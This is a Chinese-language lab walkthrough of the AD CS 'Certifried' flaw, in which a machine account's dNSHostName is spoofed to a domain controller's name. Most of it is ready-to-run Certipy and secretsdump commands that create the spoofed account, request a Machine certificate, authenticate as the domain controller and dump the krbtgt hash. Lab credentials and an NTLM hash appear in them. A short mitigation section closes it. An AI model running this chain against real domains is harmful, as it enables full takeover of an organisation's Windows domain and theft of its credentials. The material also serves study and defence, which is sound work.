漏洞描述
简单来说,AD域提供ADCS功能,并且颁发的证书可用于kerberos预认证,在获取TGT时,返回的票据的PAC里会包含NTLM hash。
而当用机器账户申请证书时,使用的是dnsHostname来生成机器证书,生成证书的“使用者可选名称”是DNS Name =[dnsHostname]
在PKINIT kerberos认证时,KDC是根据使用者可选名称来进行查询权限生成PAC的,如果是用户证书可选名称是"主体名称",如果是计算机证书,可选名称则如下所示是"DNS Name",那么KDC判断是机器证书,则会查询数据库中sAMAccountName属性为aaaaa$的条目,并生成PAC。在这个过程中并不会搜索和校验dNSHostName。
而dNSHostName也不具备唯一性,那么就可以修改为域控机器名,如AD01.test.com,然后申请证书时,就会颁发一个"使用者可选名称"为Dns Name=AD01.test.com
,在进行PKINIT kerberos认证时,就会获取到域控机器账户hash,从而用域控机器账户进行dcsync接管域。
ADCS安装
注意证书颁发机构以及证书颁发机构web注册都安装上。
test-ad02-ca.test.com
安装后访问 http://192.168.111.147/Certsrv/, 需要进行域认证
定位ADCS
通过ldap filter过滤可定位到
漏洞利用
https://github.com/ly4k/Certipy 推荐使用python39运行
测试漏洞
1 | certipy find -dc-ip 192.168.111.147 -u zhangsan@test.com -p Test@123 -stdout -vulnerable |
如下判断漏洞存在,并且DNS Name标明ADCS位置,这里还做了自动解析定位到ADCS IP
漏洞利用需要的信息有:
1 2 | CA Name: test-AD02-CA DNS Name: AD02.test.com 192.168.111.147 |
不过CA Name一般是[domain]-[host name]-CA
创建机器账户
执⾏如下命令使⽤certipy利⽤ldaps远程创建machine11机器账户,并且设置其 dnsHostname为AD01.test.com。
1 | certipy account create -user machine11 -dns AD01.test.com -dc-ip 192.168.111.146 -u zhangsan@test.com -p Test@123 -debug |
如下图通过ldaps创建成功,密码随机分配为UEFDJUbXwjrmZhJF
PS: 有很多创建机器⽤户的⽅式,需要注意的是,当使⽤SAMR协议创建机器用户时,机器⽤户默认没有dnsHostName属性和UPN属性。如上是用过ldaps,可能目标并没有安装ldaps
证书请求
执⾏如下命令,向CA服务器使⽤certipy以machine11$身份请求⼀个Machine类型的证书。注意一定要是CA服务器,否则可能没有\pipe\cert
1 | certipy req -dc-ip 192.168.111.147 -u machine11$ -p UEFDJUbXwjrmZhJF -ca test-AD02-CA -template Machine -debug |
默认是通过RPC申请,基于dNSHostName生成证书
当然还可以通过web,通过-web
参数即可
1 | certipy req -web -dc-ip 192.168.111.147 -u machine11$ -p UEFDJUbXwjrmZhJF -ca test-AD02-CA -template Machine -debug |
kerberos认证获取hash和TGT
使用ad01.pfx证书进行认证
1 | certipy auth -pfx ad01.pfx -dc-ip 192.168.111.147 -debug |
如下成功获取到hash以及TGT
导出hash
基于kerberos,通过机器账户的TGT导出
1 2 | export KRB5CCNAME=ad01.ccache python3 secretsdump.py -k -no-pass AD01.test.com -dc-ip 192.168.111.146 -target-ip 192.168.111.146 -just-dc-user krbtgt |
基于NTLM认证,PTH导出
1 | python3 secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0d203863ab92b1b1f65e809d2d27fc5b test/ad01\$@192.168.111.146 -just-dc-user krbtgt |
漏洞防护
如果暂时不能下载补丁进⾏更新,也可以通过设置域的ms-DS- MachineAccountQuota为0来进⾏缓解。当然这个方案可以通过修改已有机器账户来绕过
补丁修复,对申请的证书嵌入了sid
如果是User模板则填充对应用户账户的SID,如果是Machine模板,由于机器账户没有SID,所以该处填充创建该机器账户的用户账户的SID,通过引入SID属性,KDC可以进一步标识证书对应的账户。